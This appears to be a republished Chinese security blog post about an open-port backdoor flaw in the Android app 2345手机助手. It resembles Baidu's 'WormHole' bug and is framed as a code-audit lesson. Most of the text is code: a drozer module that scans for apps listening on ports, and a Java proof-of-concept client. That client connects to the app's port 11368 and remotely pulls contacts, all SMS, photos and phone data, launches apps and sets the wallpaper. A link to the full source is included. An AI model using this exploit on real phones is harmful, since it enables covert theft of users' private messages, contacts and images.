2345手机助手类似于百度的WormHole漏洞

来源:互联网 发布:淘宝全球购为什么便宜 编辑:程序博客网 时间:2024/05/16 09:05

0x00 前言

前段时间爆出了百度moplus sdk的一个被称为虫洞的漏洞,它被植入到14000款app当中,使这些app躺着也中枪,间接成为了这个虫洞的帮凶。这个案例再次提醒我们,木桶理论适用于产品的安全,任何一处的短板都会使千里之堤毁于蚁穴,sdk的安全也会直接影响着产品的安全。出现这种后台漏洞的根本原因是错用ServerSocket代替了LocalServerSocket,可能设计的初衷是为了给其它app提供接口或者其它一些业务逻辑。根据笔者多年的代码审计经验,这类漏洞存在于app以及一些sdk中的概率占的比例比我们想象的高。授人以鱼不如授人以渔,接下来我们以2345手机助手讲解下这类漏洞的快速发现和利用。


0x01 发现

这里编写drozer的一个扫描模块来发现这类的问题,很方便,代码如下:

from drozer.modules import Module,commonimport reclass findport(Module,common.Shell):    name = "findport"    description = "find open port in android"    examples = "run exp.work.findport"    date = "2015-10-08"    license = "GPL"    path = ["exp","work"]    def toHexPort(self,port):        hexport = str(hex(int(port)))        return hexport.strip('0x').upper()    def finduid(self,protocol, entry):        if (protocol=='tcp' or protocol=='tcp6'):            uid = entry.split()[-10]        else: # udp or udp6            uid = entry.split()[-6]        try:            uid = int(uid)        except:            return -1        if (uid > 10000): # just for non-system app            return 'u0_a'+str(uid-10000)        else:            return -1    def execute(self, arguments):        proc_net = "/proc/net/"        ret = self.shellExec("netstat -anp | grep -Ei 'listen|udp*'")        list_line = ret.split('\n')        apps = []        strip_listline = []        #pattern = re.compile("^Proto") # omit the first line        for line in list_line:                if (line != ''):                   socket_entry = line.split()                   protocol = socket_entry[0]                   port = socket_entry[3].split(':')[-1]                   grep_appid = 'grep  '+ self.toHexPort(port) + ' ' + proc_net + protocol                   net_entry = self.shellExec(grep_appid)                   uid = self.finduid(protocol, net_entry)                   if (uid == -1):                       continue                   applist = self.shellExec('ps | grep ' + uid).split()                   app = applist[8]                   apps.append(app)                   strip_listline.append(line)        itapp= iter(apps)        itline=iter(strip_listline)        self.stdout.write("Proto  Recv-Q Send-Q  Local Address        Foreign Address        State            APP\r\n")        try:            while True:                self.stdout.write( itline.next() + ' '*10 + itapp.next() + '\n')        except StopIteration:            pass        self.stdout.write('\n')

安装模块后,扫描结果如下:


0x02 利用

可以看到2345手机助手(包名为com.market2345)监听了两个tcp端口,这里以11368为例,我们用IDA打开该APK的dex,x快捷键查看ServerSocket的交叉应用,经过分析后迅速锁定到逻辑代码如下:



通过逆向分析之后,可以知道该端口采用google的GSON库通信的,从上图中可以看出来,我们通过利用这个后门漏洞可以远程获取删除联系人,远程设置桌面,获取图片,远程安装apk等等,具体的POC代码我已经写好,主要代码如下:

package com.parker.poc;import java.io.BufferedInputStream;import java.io.BufferedOutputStream;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.DataOutputStream;import java.io.IOException;import java.net.InetSocketAddress;import java.net.Socket;import java.net.SocketException;import java.util.Arrays;import java.util.Collections;import java.util.HashSet;import java.util.Set;import java.util.concurrent.atomic.AtomicBoolean;import java.util.concurrent.atomic.AtomicLong;import android.graphics.Bitmap;import android.os.Handler;import android.os.HandlerThread;import android.os.Looper;import android.os.Message;import android.util.Log;import com.parker.poc.model.CommandModel01;import com.parker.poc.model.CommandModel05;import com.parker.poc.model.CommandModel11;import com.parker.poc.model.IconCollation;import com.parker.poc.model.IconInfo;import com.parker.poc.model.PhoneData;import com.parker.poc.model.SMSOperationCommandModel;import com.parker.poc.model.StartOtherAppCommandModel;import com.parker.poc.packet.Packet;import com.parker.poc.util.UnionUtils;public class Poc extends HandlerThread {private static final String TAG = Poc.class.getName();public static final int VulcanPort = 11368;private Socket mSocket;private String mIp;private int mPort;private PocHandler mHandler;private AtomicBoolean mPrepared = new AtomicBoolean(false);private Set<PocCallback> mCallbackSet = Collections.synchronizedSet(new HashSet<PocCallback>());private AtomicLong mTimeout = new AtomicLong(5000);private final class PocHandler extends Handler {public PocHandler(Looper looper) {super(looper);}@Overridepublic void handleMessage(Message msg) {Log.v(TAG, "handleMessage:" + PocMsg.code2String(msg.what));try {connect();} catch (IOException e) {Log.e(TAG, "can not connect to " + mIp + ":" + mPort, e);PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_CONNECT_ERROR;pocMsg.msgType = msg.what;pocMsg.poc= Poc.this;pocMsg.packet = null;sendToCallback(pocMsg);return;}Packet sendPacket = new Packet(msg.what, msg.obj);Log.i(TAG, "begein to send packet:" + sendPacket.toString());try {long b = System.currentTimeMillis();Packet recvPacket = sendRecv(sendPacket);Log.i(TAG,String.format("cost %d ms,recv packet:%s",System.currentTimeMillis() - b,recvPacket.toString()));PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_SUCCESS;pocMsg.msgType = msg.what;pocMsg.packet = recvPacket;pocMsg.poc = Poc.this;sendToCallback(pocMsg);} catch (Throwable e) {PocMsg pocMsg = new PocMsg();pocMsg.status = PocMsg.STATUS_SEND_RECV_ERROR;pocMsg.msgType = msg.what;pocMsg.packet = null;pocMsg.poc = Poc.this;sendToCallback(pocMsg);Log.e(TAG, "sendRecv" , e);}}}private void connect() throws IOException {if (this.mSocket != null) {this.mSocket.close();this.mSocket = null;}this.mSocket = new Socket();this.mSocket.connect(new InetSocketAddress(mIp, mPort));this.mSocket.setTcpNoDelay(true);this.mSocket.setSoTimeout((int) this.getTimeout());}@Overrideprotected void onLooperPrepared() {mHandler = new PocHandler(this.getLooper());mPrepared.set(true);}public Poc(String ip, int port) {super(ip);this.mIp = ip;this.mPort = port;//this.start();}public boolean fetch(int cmd, Object obj) {if (isPrepared()) {Message msg = this.mHandler.obtainMessage();msg.what = cmd;msg.obj = obj;return this.mHandler.sendMessage(msg);} else {return false;}}public void setTimeout(long timeout) {this.mTimeout.set(timeout);}public long getTimeout() {return this.mTimeout.get();}public boolean fetchVersionCode() {return this.fetch(PocMsg.MSG_FETCH_VERSION_CODE, null);}public boolean fetchAllContacts() {return this.fetch(PocMsg.MSG_FETCH_ALL_CONTACTS, null);}public boolean fetchMusicInfo() {return this.fetch(PocMsg.MSG_FETCH_MUSIC_INFO, null);}public boolean downloadImages(int ids[]) {if (ids == null && ids.length <= 0)return false;IconCollation model = new IconCollation();for (int i = 0; i < ids.length; i++) {IconInfo iconInfo = new IconInfo();iconInfo.id = ids[i];model.idList.add(iconInfo);}return this.fetch(PocMsg.MSG_FETCH_IMAGES, model);}public boolean fetchPhoneData() {return this.fetch(PocMsg.MSG_FETCH_PHONE_DATA, null);}public boolean startOtherApp(StartOtherAppCommandModel model) {return this.fetch(PocMsg.MSG_START_OTHER_APP, model);}public boolean fetchAllSMS() {SMSOperationCommandModel smsModel = new SMSOperationCommandModel();smsModel.command = "getall";return this.operateSMS(smsModel);}public boolean operateSMS(SMSOperationCommandModel model) {return this.fetch(PocMsg.MSG_OPERATE_SMS, model);}/* * @param type 可以是0 = "DCIM",1 = wallpaper,2 = other */public boolean fetchImagesByType(int type) {CommandModel05 model = new CommandModel05();model.fileType = type;return this.fetch(PocMsg.MSG_FETCH_FILE_BY_TYPE, model);}/* * @param infoType 可以是"update"或者其他,"update"代表获取更新列表 , 其它值是获取安装应用列表 */public boolean fetchAppsInfos(String infoType) {CommandModel01 model = new CommandModel01();model.command = infoType;return this.fetch(PocMsg.MSG_FETCH_APPS_INFOS, model);}public boolean setWallPaper(String filePath) {CommandModel11 model = new CommandModel11();model.path = filePath;return this.fetch(PocMsg.MSG_SET_WALLPAPER, model);}public boolean isPrepared() {return this.mPrepared.get();}public String getIp() {return this.mIp;}public int getPort() {return this.mPort;}protected void sendToCallback(PocMsg pocMsg) {for (PocCallback callback : mCallbackSet) {callback.onCallback(pocMsg);}}public boolean registerCallback(PocCallback callback) {return this.mCallbackSet.add(callback);}public boolean unregisterCallback(PocCallback callback) {return this.mCallbackSet.remove(callback);}private synchronized byte[] sendRecv(byte[] buf) throws Throwable {BufferedOutputStream bos = new BufferedOutputStream(mSocket.getOutputStream());bos.write(buf);bos.flush();BufferedInputStream bis = new BufferedInputStream(mSocket.getInputStream());byte cmd[] = new byte[4];int len = UnionUtils.readFullLength(cmd.length, bis, cmd);if (len != cmd.length) {throw new IOException("len != cmd.length");}byte datalen[] = new byte[4];len = UnionUtils.readFullLength(datalen.length, bis, datalen);if (len != datalen.length) {throw new IOException("len != datalen.length");}int icmd = UnionUtils.byteArrayToInt(cmd, 0);int idatalen = UnionUtils.byteArrayToInt(datalen, 0);byte data[] = null;if (icmd == PocMsg.MSG_FETCH_IMAGES) {CommandHandler cmdHandler = new CommandHandler();cmdHandler.handle(bis);data = cmdHandler.getBytes();} else {data = new byte[idatalen];}len = UnionUtils.readFullLength(idatalen, bis, data);return UnionUtils.bytesMerger(UnionUtils.bytesMerger(cmd, datalen),data);}private Packet sendRecv(Packet packet) throws Throwable {byte sendBuf[] = packet.build();return Packet.parsePacket(sendRecv(sendBuf));}/*@Overridepublic boolean equals(Object o) {if (this == o){return true;}if (o == null || !(o instanceof Poc)){return false;}if (((Poc)o).getIp().equals(this.getIp()) && ((Poc)o).getPort() == this.getPort()){return true;}else{return false;}}@Overridepublic int hashCode() {return 12;}*/private PhoneData phoneData;public PhoneData getPhoneData() {return phoneData;}public void setPhoneData(PhoneData phoneData) {this.phoneData = phoneData;}}

详细见源码:http://download.csdn.net/detail/autohacker/9488480

0x03 总结

这种漏洞的审计没有特别多的奇淫怪招,锻炼的是逆向能力,但也是代码审计过程中不可忽视的一环,由于平时比较忙,很少写技术blog,能用代码说明问题的一般不会写文字,以后看来还是多写点技术博客,毕竟展示自己也是一种能力嘛:)

0 0
原创粉丝点击